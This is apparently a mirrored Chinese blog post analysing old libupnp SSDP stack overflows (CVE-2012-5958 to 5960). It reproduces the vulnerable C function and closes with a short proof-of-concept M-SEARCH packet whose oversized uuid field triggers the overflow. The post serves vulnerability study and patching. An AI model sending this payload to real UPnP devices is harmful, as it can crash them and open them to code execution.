zoukankan      html  css  js  c++  java
  • libUpnp缓冲区溢出、拒绝服务等漏洞分析

    该漏洞存在于UPnP™设备的便携式SDK中,也叫做 libupnp。这个库是用来实现媒体播放(DLAN)或者NAT地址转换(UPnP IGD)。智能手机上的应用程序可用这些功能播放媒体文件或者利用用户的家庭网络连接到其他的设备。

    事实上,这些漏洞早在2012年12月份就已经修复了,然而仍然有很多app在使用存在漏洞的老版本SDK。统计发现有547个应用还在使用老版本的 libupnp,其中326个可从谷歌Play store中下载到,包括Netflix和腾讯QQ音乐。这些都是非常流行的应用,用户达百万,也就是说有数百万的用户还存在被攻击的可能性。另外,除了移动设备,路由器和智能电视也在之列。

    漏洞利用

    该漏洞存在于 libupnp库处理简单服务发现协议(SSDP)包过程中。该协议是 Universal Plug N’ Play (UPnP)标准的部分。在处理进程中会出现堆栈溢出,并且需要UDP1900端口打开。

    一个精心制作的包可造成缓冲区溢出,如下图中的代码,TempBuf 缓冲可溢出,并造成死机。

    进一步的研究发现,它不仅能造成死机,还可以在受害者设备上运行任意代码。如此以来,攻击者便可能会完全掌控受害者设备。

    漏洞代码如下:

    // version 1.6.17
     // cmd变量接收外部输入
     // 结构体Evt包含多个固定长度的缓冲区
     int unique_service_name(char *cmd, SsdpEvent *Evt) 
    { 
        char TempBuf[COMMAND_LEN]; 
        char *TempPtr = NULL; 
        char *Ptr = NULL; 
        char *ptr1 = NULL;
        char *ptr2 = NULL; 
        char *ptr3 = NULL; 
        int CommandFound = 0; 
        size_t n = (size_t)0; 
        if (strstr(cmd, "uuid:schemas") != NULL)
        { 
            ptr1 = strstr(cmd, ":device"); 
            if (ptr1 != NULL) 
                ptr2 = strstr(ptr1 + 1, ":"); 
            else 
                return -1; 
            if (ptr2 != NULL) 
                ptr3 = strstr(ptr2 + 1, ":"); 
            else 
                return -1; 
            if (ptr3 != NULL) 
            { 
                if (strlen("uuid:") + strlen(ptr3 + 1) >= sizeof(Evt->UDN)) 
                    return -1; 
                snprintf(Evt->UDN, sizeof(Evt->UDN), "uuid:%s", ptr3 + 1); 
            } 
            else 
                return -1;
            ptr1 = strstr(cmd, ":"); 
            if (ptr1 != NULL) 
            { 
                n = (size_t)ptr3 - (size_t)ptr1; 
                strncpy(TempBuf, ptr1, n);                            // CVE-2012-5958
                TempBuf[n] = ''; 
                if (strlen("urn") + strlen(TempBuf) >= sizeof(Evt->DeviceType)) 
                    return -1; 
                snprintf(Evt->DeviceType, sizeof(Evt->DeviceType), "urn%s", TempBuf); 
            } 
            else 
                return -1; 
            return 0; 
        } 
        if ((TempPtr = strstr(cmd, "uuid")) != NULL) 
        { 
            if ((Ptr = strstr(cmd, "::")) != NULL) 
            { 
                n = (size_t)Ptr - (size_t)TempPtr; 
                strncpy(Evt->UDN, TempPtr, n);                        // CVE-2012-5959
                Evt->UDN[n] = ''; 
            }
            else 
            {
                memset(Evt->UDN, 0, sizeof(Evt->UDN)); 
                strncpy(Evt->UDN, TempPtr, sizeof(Evt->UDN) - 1); 
            } 
            CommandFound = 1; 
        } 
        if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":service:") != NULL) 
        { 
            if ((TempPtr = strstr(cmd, "urn")) != NULL) 
            { 
                memset(Evt->ServiceType, 0, sizeof(Evt->ServiceType)); 
                strncpy(Evt->ServiceType, TempPtr, sizeof(Evt->ServiceType) - 1);
                CommandFound = 1; 
            } 
        }
        if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":device:") != NULL) 
        { 
            if ((TempPtr = strstr(cmd, "urn")) != NULL) 
            { 
                memset(Evt->DeviceType, 0, sizeof(Evt->DeviceType)); 
                strncpy(Evt->DeviceType, TempPtr, sizeof(Evt->DeviceType) - 1); 
                CommandFound = 1; 
            } 
        } 
        if ((TempPtr = strstr(cmd, "::upnp:rootdevice")) != NULL) 
        { 
            /* Everything before "::upnp::rootdevice" is the UDN. */ 
            if (TempPtr != cmd) 
            { 
                n = (size_t)TempPtr - (size_t)cmd; 
                strncpy(Evt->UDN, cmd, n);                            // CVE-2012-5960
                Evt->UDN[n] = 0; 
                CommandFound = 1; 
            } 
        } 
        if (CommandFound == 0) 
            return -1; 
        return 0; 
    }

    Poc脚本如下:

    M-SEARCH * HTTP/1.1
     Host:239.255.255.250:1900 
    ST:uuid:schemas:device:AAAA[…]AAAA:anything 
    Man:"ssdp:discover" 
    MX:3
  • 相关阅读:
    机器学习-识别手写数字0-9
    tensorflow深度学习-mnist数据集读入-初试
    TensorFlow 2.0 最基础的线性回归
    cuDNN 环境变量-默认安装路径
    INT104-lab2
    [蓝桥杯][历届试题][dfs][割点]危险系数
    2021-03-19:给定一个二维数组matrix,其中的值不是0就是1,返回全部由1组成的最大子矩形,内部有多少个1。
    2021-03-17:手写代码:单链表插入排序。
    2021-03-16:手写代码:单链表归并排序。
    2021-03-15:手写代码:单链表选择排序。
  • 原文地址:https://www.cnblogs.com/Shepherdzhao/p/7570632.html
Copyright © 2011-2022 走看看